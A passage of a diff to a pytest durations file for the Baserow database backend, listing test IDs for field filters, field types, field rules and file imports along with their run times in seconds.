"tests/baserow/contrib/database/field/test_number_lookup_field_filters.py::test_number_lookup_field_has_value_lower_equal_than_filter[has_not_value_lower_or_equal-999.999-expected_rows11]": 0.24456145797739737, + "tests/baserow/contrib/database/field/test_number_lookup_field_filters.py::test_number_lookup_field_has_value_lower_equal_than_filter[has_not_value_lower_or_equal-invalid-expected_rows7]": 0.23376095795538276, + "tests/baserow/contrib/database/field/test_number_lookup_field_filters.py::test_number_lookup_field_has_value_lower_equal_than_filter[has_value_lower_or_equal--0.0-expected_rows4]": 0.24798308397294022, + "tests/baserow/contrib/database/field/test_number_lookup_field_filters.py::test_number_lookup_field_has_value_lower_equal_than_filter[has_value_lower_or_equal--10000000000000000000000000000000000000000-expected_rows3]": 0.2410590409708675, + "tests/baserow/contrib/database/field/test_number_lookup_field_filters.py::test_number_lookup_field_has_value_lower_equal_than_filter[has_value_lower_or_equal--expected_rows0]": 0.24303337500896305, + "tests/baserow/contrib/database/field/test_number_lookup_field_filters.py::test_number_lookup_field_has_value_lower_equal_than_filter[has_value_lower_or_equal-10000000000000000000000000000000000000000-expected_rows2]": 0.2222915820311755, + "tests/baserow/contrib/database/field/test_number_lookup_field_filters.py::test_number_lookup_field_has_value_lower_equal_than_filter[has_value_lower_or_equal-999.999-expected_rows5]": 0.2448548749962356, + "tests/baserow/contrib/database/field/test_number_lookup_field_filters.py::test_number_lookup_field_has_value_lower_equal_than_filter[has_value_lower_or_equal-invalid-expected_rows1]": 0.23354029102483764, + "tests/baserow/contrib/database/field/test_number_lookup_field_filters.py::test_number_lookup_field_has_value_lower_than_filter[has_not_value_lower--0.0-expected_rows10]": 0.2189715839922428, + "tests/baserow/contrib/database/field/test_number_lookup_field_filters.py::test_number_lookup_field_has_value_lower_than_filter[has_not_value_lower--10000000000000000000000000000000000000000-expected_rows9]": 0.23758504199213348, + "tests/baserow/contrib/database/field/test_number_lookup_field_filters.py::test_number_lookup_field_has_value_lower_than_filter[has_not_value_lower--expected_rows6]": 0.23875729102292098, + "tests/baserow/contrib/database/field/test_number_lookup_field_filters.py::test_number_lookup_field_has_value_lower_than_filter[has_not_value_lower-10000000000000000000000000000000000000000-expected_rows8]": 0.24285620896262117, + "tests/baserow/contrib/database/field/test_number_lookup_field_filters.py::test_number_lookup_field_has_value_lower_than_filter[has_not_value_lower-999.999-expected_rows11]": 0.22299179100082256, + "tests/baserow/contrib/database/field/test_number_lookup_field_filters.py::test_number_lookup_field_has_value_lower_than_filter[has_not_value_lower-invalid-expected_rows7]": 0.2413270819815807, + "tests/baserow/contrib/database/field/test_number_lookup_field_filters.py::test_number_lookup_field_has_value_lower_than_filter[has_value_lower--0.0-expected_rows4]": 0.20566008397145197, + "tests/baserow/contrib/database/field/test_number_lookup_field_filters.py::test_number_lookup_field_has_value_lower_than_filter[has_value_lower--10000000000000000000000000000000000000000-expected_rows3]": 0.21792008299962617, + "tests/baserow/contrib/database/field/test_number_lookup_field_filters.py::test_number_lookup_field_has_value_lower_than_filter[has_value_lower--expected_rows0]": 0.24048858400783502, + "tests/baserow/contrib/database/field/test_number_lookup_field_filters.py::test_number_lookup_field_has_value_lower_than_filter[has_value_lower-10000000000000000000000000000000000000000-expected_rows2]": 0.23002191702835262, + "tests/baserow/contrib/database/field/test_number_lookup_field_filters.py::test_number_lookup_field_has_value_lower_than_filter[has_value_lower-999.999-expected_rows5]": 0.24666295701172203, + "tests/baserow/contrib/database/field/test_number_lookup_field_filters.py::test_number_lookup_field_has_value_lower_than_filter[has_value_lower-invalid-expected_rows1]": 0.2251242509810254, + "tests/baserow/contrib/database/field/test_password_field_type.py::test_check_history_content_for_password_field": 0.36843233299441636, + "tests/baserow/contrib/database/field/test_password_field_type.py::test_create_row_via_api": 0.3022429580159951, + "tests/baserow/contrib/database/field/test_password_field_type.py::test_duplicate_field": 0.33245595800690353, + "tests/baserow/contrib/database/field/test_password_field_type.py::test_field_creation": 0.19896433400572278, + "tests/baserow/contrib/database/field/test_password_field_type.py::test_get_row_via_api": 0.24260995900840499, + "tests/baserow/contrib/database/field/test_password_field_type.py::test_row_creation": 0.2851100839616265, + "tests/baserow/contrib/database/field/test_password_field_type.py::test_row_update_already_empty": 0.29083270896808244, + "tests/baserow/contrib/database/field/test_password_field_type.py::test_row_update_with_empty_value_via_api": 0.35383079102030024, + "tests/baserow/contrib/database/field/test_password_field_type.py::test_row_update_with_value": 0.44689245903282426, + "tests/baserow/contrib/database/field/test_password_field_type.py::test_row_update_with_value_via_api": 0.4669680010119919, + "tests/baserow/contrib/database/field/test_password_field_type.py::test_row_update_with_value_with_true_via_api": 0.32328504300676286, + "tests/baserow/contrib/database/field/test_password_field_type.py::test_undo_update_to_text_field": 0.4818620829610154, + "tests/baserow/contrib/database/field/test_periodic_field_update_handler.py::test_get_recently_used_workspace_ids_interval": 0.083470876008505, + "tests/baserow/contrib/database/field/test_periodic_field_update_handler.py::test_get_recently_used_workspace_ids_multiple_ids": 0.08164016698719934, + "tests/baserow/contrib/database/field/test_rating_field_type.py::test_field_creation": 0.19183591601904482, + "tests/baserow/contrib/database/field/test_rating_field_type.py::test_rating_field_adjacent_row": 0.19475366701954044, + "tests/baserow/contrib/database/field/test_rating_field_type.py::test_rating_field_modification": 0.9685624999983702, + "tests/baserow/contrib/database/field/test_rating_field_type.py::test_row_creation": 0.20006591602577828, + "tests/baserow/contrib/database/field/test_rollup_field_type.py::test_can_create_rollup_field_value": 0.39510841699666344, + "tests/baserow/contrib/database/field/test_rollup_field_type.py::test_can_create_rollup_field_with_formula_properties": 0.41039900001487695, + "tests/baserow/contrib/database/field/test_rollup_field_type.py::test_can_update_rollup_field_value": 0.4999629589729011, + "tests/baserow/contrib/database/field/test_rollup_field_type.py::test_convert_rollup_to_text_field_via_api": 0.40654766696388833, + "tests/baserow/contrib/database/field/test_rollup_field_type.py::test_create_rollup_target_field_name": 0.318654250993859, + "tests/baserow/contrib/database/field/test_rollup_field_type.py::test_create_rollup_through_field_name": 0.30447508304496296, + "tests/baserow/contrib/database/field/test_rollup_field_type.py::test_create_rollup_through_field_with_invalid_incompatible_rollup_function": 0.2611229589674622, + "tests/baserow/contrib/database/field/test_rollup_field_type.py::test_create_rollup_through_field_with_invalid_incompatible_rollup_function_via_api": 0.24570945798768662, + "tests/baserow/contrib/database/field/test_rollup_field_type.py::test_create_rollup_through_field_with_invalid_link_row_field": 0.16883575002430007, + "tests/baserow/contrib/database/field/test_rollup_field_type.py::test_create_rollup_through_field_with_invalid_rollup_function": 0.21845879199099727, + "tests/baserow/contrib/database/field/test_rollup_field_type.py::test_create_rollup_through_field_with_invalid_target_field": 0.24449104102677666, + "tests/baserow/contrib/database/field/test_rollup_field_type.py::test_import_export_tables_with_rollup_fields": 0.8933155419945251, + "tests/baserow/contrib/database/field/test_rollup_field_type.py::test_remove_dependent_count_rollup_field_through_field[count-field_kwargs1]": 0.4987534170213621, + "tests/baserow/contrib/database/field/test_rollup_field_type.py::test_remove_dependent_count_rollup_field_through_field[rollup-field_kwargs0]": 0.5256390840222593, + "tests/baserow/contrib/database/field/test_rollup_field_type.py::test_update_rollup_target_field_name": 0.2994156239728909, + "tests/baserow/contrib/database/field/test_rollup_field_type.py::test_update_rollup_through_field_name": 0.5901531660056207, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_can_convert_a_single_select_option_field_with_dollar_dollar_option": 0.20793900001444854, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_cant_use_dollar_end_tag_as_option_name_during_conversion": 0.1917812499741558, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_get_set_export_serialized_value_single_select_field": 0.39214866602560505, "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_get_set_export_serialized_value_single_select_field_with_deleted_option": 0.3391587490004895, - "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_import_export_single_select_field": 0.16497562600034144, - "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_num_queries_n_number_of_single_select_field_get_rows_query": 0.1687022070009334, - "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_primary_single_select_field_with_link_row_field": 0.3029842069990991, - "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_adjacent_row": 0.16759133400046267, - "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_adjacent_row_working_with_sorts_and_null_values": 0.16250104200025817, - "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_field_type": 0.21895045899964316, - "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_field_type_api_row_views": 0.27478595999946265, - "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_field_type_api_views": 0.3302798750000875, - "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_field_type_get_order": 0.19498387499970704, - "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_field_type_multiple_rows": 0.24350237399994512, - "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_field_type_random_value": 0.18983966699943267, - "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_field_type_rows": 0.36645287499868573, - "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_serialize_metadata_for_row_history": 0.1734942069997487, - "tests/baserow/contrib/database/field/test_uuid_field_type.py::test_can_add_formula_with_uuid_field": 0.17384729200148286, - "tests/baserow/contrib/database/field/test_uuid_field_type.py::test_can_filter_on_uuid_field": 0.1707018329998391, - "tests/baserow/contrib/database/field/test_uuid_field_type.py::test_can_reference_formula_with_uuid_field": 0.17438241600120818, - "tests/baserow/contrib/database/field/test_uuid_field_type.py::test_can_sort_on_uuid_field": 0.16947741800049698, - "tests/baserow/contrib/database/field/test_uuid_field_type.py::test_can_split_part_formula_with_uuid_field": 0.17425933400045324, - "tests/baserow/contrib/database/field/test_uuid_field_type.py::test_can_totext_formula_with_uuid_field": 0.1752820410001732, - "tests/baserow/contrib/database/field/test_uuid_field_type.py::test_convert_text_into_uuid": 0.18967624999913824, - "tests/baserow/contrib/database/field/test_uuid_field_type.py::test_create_prevent_uuid_row": 0.15480899999965914, - "tests/baserow/contrib/database/field/test_uuid_field_type.py::test_create_prevent_uuid_row_in_bulk": 0.15877358300076594, - "tests/baserow/contrib/database/field/test_uuid_field_type.py::test_create_uuid_auto_number_field": 0.17961441600073158, - "tests/baserow/contrib/database/field/test_uuid_field_type.py::test_create_uuid_row": 0.16321062599945435, - "tests/baserow/contrib/database/field/test_uuid_field_type.py::test_create_uuid_row_in_bulk": 0.16259216699927492, - "tests/baserow/contrib/database/field/test_uuid_field_type.py::test_get_set_export_serialized_value_uuid_field": 0.33379083200088644, - "tests/baserow/contrib/database/field/test_uuid_field_type.py::test_import_export_uuid_field": 0.15700808400015376, - "tests/baserow/contrib/database/field/test_uuid_field_type.py::test_update_prevent_updating_uuid_row": 0.16019379099998332, - "tests/baserow/contrib/database/field/test_uuid_field_type.py::test_update_uuid_auto_number_field": 0.17256383399944752, - "tests/baserow/contrib/database/field/test_uuid_field_type.py::test_update_uuid_row": 0.17570754200005467, - "tests/baserow/contrib/database/field/test_uuid_field_type.py::test_uuid_field_type_api_row_views": 0.17917929200029903, - "tests/baserow/contrib/database/field/test_uuid_field_type.py::test_uuid_field_type_api_views": 0.16529850099868781, - "tests/baserow/contrib/database/file_import/test_file_import_tasks.py::test_cleanup_file_import_job": 0.7506831670007159, - "tests/baserow/contrib/database/file_import/test_file_import_tasks.py::test_run_file_import_limit": 0.6135300000005373, - "tests/baserow/contrib/database/file_import/test_file_import_tasks.py::test_run_file_import_task": 2.2293047089997344, - "tests/baserow/contrib/database/file_import/test_file_import_tasks.py::test_run_file_import_task_big_data": 0.0001632920002521132, - "tests/baserow/contrib/database/file_import/test_file_import_tasks.py::test_run_file_import_task_for_special_fields": 0.8094690840007388, - "tests/baserow/contrib/database/file_import/test_file_import_tasks.py::test_run_file_import_test_chunk": 0.43507920900083263, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_aggregate_functions_can_be_referenced_by_other_formulas": 2.949891750999086, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_aggregate_functions_never_allow_non_many_inputs": 0.26791250000042055, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_can_compare_a_date_field_and_text_with_formatting": 0.03468787599922507, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_can_compare_a_datetime_field_and_text_with_eu_formatting": 0.037031126000329095, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_can_filter_in_aggregated_formulas": 0.2709984989996883, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_can_filter_in_aggregated_formulas_with_multipleselects": 0.2789308749997872, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_can_lookup_date_intervals": 0.2648627500002476, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_can_make_joining_nested_aggregation": 0.41996666799968807, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_can_reference_a_multiple_select_field": 0.06089700000029552, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_can_reference_and_if_a_phone_number_column": 0.035787750000054075, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_can_reference_and_if_a_text_column": 0.034680124999795225, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_can_upper_an_email_field": 0.035831958999551716, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_can_use_a_boolean_field_in_an_if": 0.0387134580005295, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_can_use_datediff_on_fields": 0.04039320799893176, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_can_use_formula_on_lookup_of_multiple_select_fields[count(field('%s'))-expected_value1]": 0.3581051240007582, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_can_use_formula_on_lookup_of_multiple_select_fields[has_option(field('%s'), 'b')-expected_value0]": 0.39548600099988107, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_can_use_formula_on_lookup_of_multiple_select_fields[isblank(field('%s'))-expected_value2]": 0.3532051259999207, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_can_use_formula_on_lookup_of_multiple_select_fields[totext(field(\"%s\"))-expected_value3]": 0.3755012089986849, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_can_use_has_option_on_lookup_of_single_select_fields": 0.4540175000001909, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_can_use_has_option_on_multiple_select_fields": 0.2066152499992313, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_date_formulas": 0.18504020899945317, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_date_formulas_unwrapping_works": 0.186676625000473, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_formula_can_reference_and_add_to_an_integer_column": 0.0356037080009628, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_formula_returns_zeros_instead_of_null_if_output_is_decimal": 0.35066475000076025, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_formulas_with_lookup_url_field_type": 0.4302901670007486, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_invalid_formulas['a' + 2-ERROR_WITH_FORMULA-Error with formula: argument number 2 given to operator + was of type number but the only usable types for this argument are text,char,link.]": 0.16979020800044964, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_import_export_single_select_field": 0.12786362602491863, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_num_queries_n_number_of_single_select_field_get_rows_query": 0.1619364179787226, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_primary_single_select_field_with_link_row_field": 0.4102234989986755, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_multiple_select_has_type_export_import_string_keys": 0.014498331991489977, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_adjacent_row": 0.1594799589656759, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_adjacent_row_working_with_sorts_and_null_values": 0.1487952079914976, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_contains_filter_type[ref_ref_single_select]": 0.1908176240103785, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_contains_filter_type[ref_single_select]": 0.19203070798539557, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_contains_filter_type[single_select]": 0.1944255419948604, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_contains_not_filter_type[ref_ref_single_select]": 0.18386762504815124, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_contains_not_filter_type[ref_single_select]": 0.1749569569947198, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_contains_not_filter_type[single_select]": 0.18040791599196382, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_contains_word_filter_type[ref_ref_single_select]": 0.19326604303205386, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_contains_word_filter_type[ref_single_select]": 0.17261858299025334, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_contains_word_filter_type[single_select]": 0.18670204197405837, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_doest_contains_word_filter_type[ref_ref_single_select]": 0.17193112501990981, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_doest_contains_word_filter_type[ref_single_select]": 0.1904287920333445, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_doest_contains_word_filter_type[single_select]": 0.17282162499031983, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_equal_filter_type[ref_ref_single_select]": 0.186935250996612, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_equal_filter_type[ref_single_select]": 0.18830737401731312, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_equal_filter_type[single_select]": 0.18741241699899547, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_equal_filter_type_export_import": 0.01631137597723864, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_equal_filter_type_export_import_string_keys": 0.01638341596117243, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_field_type": 0.24042329099029303, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_field_type_api_row_views": 0.39203404099680483, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_field_type_api_views": 0.43164712499128655, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_field_type_get_order": 0.19406074998551048, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_field_type_get_order_collate": 0.24309300098684616, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_field_type_multiple_rows": 0.25152258298476227, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_field_type_random_value": 0.16014391698990948, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_field_type_rows": 0.6194122080050875, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_is_any_of_filter_type[ref_ref_single_select]": 0.20597033394733444, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_is_any_of_filter_type[ref_single_select]": 0.19014795898692682, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_is_any_of_filter_type[single_select]": 0.18039887497434393, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_is_any_of_filter_type_export_import": 0.018137541017495096, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_is_any_of_filter_type_export_import_string_keys": 0.0157448330137413, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_is_empty_filter_type[ref_ref_single_select]": 0.19167920798645355, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_is_empty_filter_type[ref_single_select]": 0.1733508330071345, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_is_empty_filter_type[single_select]": 0.1800291259714868, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_is_none_of_filter_type[ref_ref_single_select]": 0.19084758299868554, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_is_none_of_filter_type[ref_single_select]": 0.2028225419926457, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_is_none_of_filter_type[single_select]": 0.19256133399903774, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_is_not_empty_filter_type[ref_ref_single_select]": 0.1874664580100216, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_is_not_empty_filter_type[ref_single_select]": 0.18579866699292324, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_is_not_empty_filter_type[single_select]": 0.1850876250246074, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_not_equal_filter_type[ref_ref_single_select]": 0.21244412500527687, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_not_equal_filter_type[ref_single_select]": 0.19247220800025389, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_not_equal_filter_type[single_select]": 0.20315195800503716, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_serialize_metadata_for_row_history": 0.14803241702611558, + "tests/baserow/contrib/database/field/test_single_select_field_type.py::test_single_select_serialize_metadata_for_row_history_using_option_values": 0.15422541700536385, + "tests/baserow/contrib/database/field/test_url_lookup_field_filters.py::test_formula_url_field_contains_filters[contains-foobar-expected_rows0]": 0.17040733294561505, + "tests/baserow/contrib/database/field/test_url_lookup_field_filters.py::test_formula_url_field_contains_filters[contains-invalid-expected_rows1]": 0.16750708199106157, + "tests/baserow/contrib/database/field/test_url_lookup_field_filters.py::test_formula_url_field_contains_word_filters[contains_word-foobar-expected_rows0]": 0.17646083401632495, + "tests/baserow/contrib/database/field/test_url_lookup_field_filters.py::test_formula_url_field_contains_word_filters[contains_word-invalid-expected_rows1]": 0.16788008296862245, + "tests/baserow/contrib/database/field/test_url_lookup_field_filters.py::test_formula_url_field_contans_not_filters[contains_not-foo-expected_rows0]": 0.17076616699341685, + "tests/baserow/contrib/database/field/test_url_lookup_field_filters.py::test_formula_url_field_contans_not_filters[contains_not-invalid-expected_rows1]": 0.17006145900813863, + "tests/baserow/contrib/database/field/test_url_lookup_field_filters.py::test_formula_url_field_doesnt_contain_word_filters[doesnt_contain_word-foobar-expected_rows0]": 0.17085254201083444, + "tests/baserow/contrib/database/field/test_url_lookup_field_filters.py::test_formula_url_field_empty_not_empty_filters[empty--expected_rows0]": 0.16266999999061227, + "tests/baserow/contrib/database/field/test_url_lookup_field_filters.py::test_formula_url_field_empty_not_empty_filters[not_empty--expected_rows1]": 0.1609681670088321, + "tests/baserow/contrib/database/field/test_url_lookup_field_filters.py::test_formula_url_field_equal_filter[equal-http://example.com/foobar-expected_rows0]": 0.17494495905702934, + "tests/baserow/contrib/database/field/test_url_lookup_field_filters.py::test_formula_url_field_equal_filter[equal-http://example.com/invalid-expected_rows1]": 0.15760008298093453, + "tests/baserow/contrib/database/field/test_url_lookup_field_filters.py::test_formula_url_field_filters[contains-foobar-expected_rows4]": 0.16980820801109076, + "tests/baserow/contrib/database/field/test_url_lookup_field_filters.py::test_formula_url_field_filters[contains_not-foo-expected_rows5]": 0.17497099898173474, + "tests/baserow/contrib/database/field/test_url_lookup_field_filters.py::test_formula_url_field_filters[contains_word-foobar-expected_rows2]": 0.1691756669897586, + "tests/baserow/contrib/database/field/test_url_lookup_field_filters.py::test_formula_url_field_filters[doesnt_contain_word-foobar-expected_rows3]": 0.1936747920117341, + "tests/baserow/contrib/database/field/test_url_lookup_field_filters.py::test_formula_url_field_filters[empty--expected_rows6]": 0.1669667920214124, + "tests/baserow/contrib/database/field/test_url_lookup_field_filters.py::test_formula_url_field_filters[equal-http://example.com/foobar-expected_rows0]": 0.16763416599133052, + "tests/baserow/contrib/database/field/test_url_lookup_field_filters.py::test_formula_url_field_filters[length_is_lower_than-2-expected_rows8]": 0.16777404100866988, + "tests/baserow/contrib/database/field/test_url_lookup_field_filters.py::test_formula_url_field_filters[length_is_lower_than-26-expected_rows9]": 0.18728995800483972, + "tests/baserow/contrib/database/field/test_url_lookup_field_filters.py::test_formula_url_field_filters[not_empty--expected_rows7]": 0.43293620698386803, + "tests/baserow/contrib/database/field/test_url_lookup_field_filters.py::test_formula_url_field_filters[not_equal-http://example.com/foobar-expected_rows1]": 0.1738402080081869, + "tests/baserow/contrib/database/field/test_url_lookup_field_filters.py::test_formula_url_field_length_is_lower_than_filters[length_is_lower_than-2-expected_rows0]": 0.1614517500565853, + "tests/baserow/contrib/database/field/test_url_lookup_field_filters.py::test_formula_url_field_length_is_lower_than_filters[length_is_lower_than-26-expected_rows1]": 0.16639429196948186, + "tests/baserow/contrib/database/field/test_url_lookup_field_filters.py::test_formula_url_field_not_equal_filters[not_equal-http://example.com/foobar-expected_rows0]": 0.18000454097636975, + "tests/baserow/contrib/database/field/test_uuid_field_type.py::test_can_add_formula_with_uuid_field": 0.1438800009782426, + "tests/baserow/contrib/database/field/test_uuid_field_type.py::test_can_filter_on_uuid_field": 0.1627350409689825, + "tests/baserow/contrib/database/field/test_uuid_field_type.py::test_can_reference_formula_with_uuid_field": 0.1441397910239175, + "tests/baserow/contrib/database/field/test_uuid_field_type.py::test_can_sort_on_uuid_field": 0.1583575840049889, + "tests/baserow/contrib/database/field/test_uuid_field_type.py::test_can_split_part_formula_with_uuid_field": 0.1483197080087848, + "tests/baserow/contrib/database/field/test_uuid_field_type.py::test_can_totext_formula_with_uuid_field": 0.15000775101361796, + "tests/baserow/contrib/database/field/test_uuid_field_type.py::test_convert_text_into_uuid": 0.19877962602186017, + "tests/baserow/contrib/database/field/test_uuid_field_type.py::test_create_prevent_uuid_row": 0.1297358330048155, + "tests/baserow/contrib/database/field/test_uuid_field_type.py::test_create_prevent_uuid_row_in_bulk": 0.1214816240244545, + "tests/baserow/contrib/database/field/test_uuid_field_type.py::test_create_uuid_auto_number_field": 0.16172020800877362, + "tests/baserow/contrib/database/field/test_uuid_field_type.py::test_create_uuid_row": 0.14480850004474632, + "tests/baserow/contrib/database/field/test_uuid_field_type.py::test_create_uuid_row_in_bulk": 0.13607879303162917, + "tests/baserow/contrib/database/field/test_uuid_field_type.py::test_get_set_export_serialized_value_uuid_field": 0.38067070799297653, + "tests/baserow/contrib/database/field/test_uuid_field_type.py::test_import_export_uuid_field": 0.1247172080038581, + "tests/baserow/contrib/database/field/test_uuid_field_type.py::test_update_prevent_updating_uuid_row": 0.12723595902207308, + "tests/baserow/contrib/database/field/test_uuid_field_type.py::test_update_uuid_auto_number_field": 0.1592365829856135, + "tests/baserow/contrib/database/field/test_uuid_field_type.py::test_update_uuid_row": 0.15210550001938827, + "tests/baserow/contrib/database/field/test_uuid_field_type.py::test_uuid_field_type_api_row_views": 0.16579633302171715, + "tests/baserow/contrib/database/field/test_uuid_field_type.py::test_uuid_field_type_api_views": 0.1383374999568332, + "tests/baserow/contrib/database/field_rules/test_field_rules_handler.py::test_field_rules_handler_columns": 0.1146978750184644, + "tests/baserow/contrib/database/field_rules/test_field_rules_handler.py::test_field_rules_handler_type_add_rule": 0.09882358301547356, + "tests/baserow/contrib/database/field_rules/test_field_rules_handler.py::test_field_rules_handler_type_rule_enable_disable": 0.11228616803418845, + "tests/baserow/contrib/database/field_rules/test_field_rules_handler.py::test_field_rules_handler_type_rule_export_import": 0.11354433401720598, + "tests/baserow/contrib/database/field_rules/test_field_rules_handler.py::test_field_rules_handler_type_rule_export_import_with_extra_fields": 0.11495170899434015, + "tests/baserow/contrib/database/field_rules/test_field_rules_handler.py::test_field_rules_handler_type_rule_signals": 0.11969920899719, + "tests/baserow/contrib/database/file_import/test_file_import_tasks.py::test_cleanup_file_import_job": 0.49117233301512897, + "tests/baserow/contrib/database/file_import/test_file_import_tasks.py::test_run_file_import_limit": 0.34723379198112525, + "tests/baserow/contrib/database/file_import/test_file_import_tasks.py::test_run_file_import_task": 2.315770542016253, + "tests/baserow/contrib/database/file_import/test_file_import_tasks.py::test_run_file_import_task_big_data": 0.00011879100929945707, + "tests/baserow/contrib/database/file_import/test_file_import_tasks.py::test_run_file_import_task_for_special_fields": 1.2267288749862928, + "tests/baserow/contrib/database/file_import/test_file_import_tasks.py::test_run_file_import_task_with_field_constraints": 0.4366462090110872, + "tests/baserow/contrib/database/file_import/test_file_import_tasks.py::test_run_file_import_task_with_upsert": 0.47307308501331136, + "tests/baserow/contrib/database/file_import/test_file_import_tasks.py::test_run_file_import_task_with_upsert_and_field_constraints": 0.45116991695249453, + "tests/baserow/contrib/database/file_import/test_file_import_tasks.py::test_run_file_import_task_with_upsert_and_invalid_skipped_fields": 0.367092833010247, + "tests/baserow/contrib/database/file_import/test_file_import_tasks.py::test_run_file_import_task_with_upsert_and_none_skipped_fields": 0.4518158750142902, + "tests/baserow/contrib/database/file_import/test_file_import_tasks.py::test_run_file_import_task_with_upsert_and_valid_skipped_fields": 0.44813587501994334, + "tests/baserow/contrib/database/file_import/test_file_import_tasks.py::test_run_file_import_task_with_upsert_fields_invalid_length": 0.3432780000148341, + "tests/baserow/contrib/database/file_import/test_file_import_tasks.py::test_run_file_import_task_with_upsert_fields_not_in_table": 0.3452902080025524, + "tests/baserow/contrib/database/file_import/test_file_import_tasks.py::test_run_file_import_task_with_upsert_fields_not_usable": 0.40623387397499755, + "tests/baserow/contrib/database/file_import/test_file_import_tasks.py::test_run_file_import_task_with_upsert_for_multiple_field_types[upsert_field_idx0-text_number]": 0.536580292013241, + "tests/baserow/contrib/database/file_import/test_file_import_tasks.py::test_run_file_import_task_with_upsert_for_multiple_field_types[upsert_field_idx1-text_boolean]": 0.5488127930148039, + 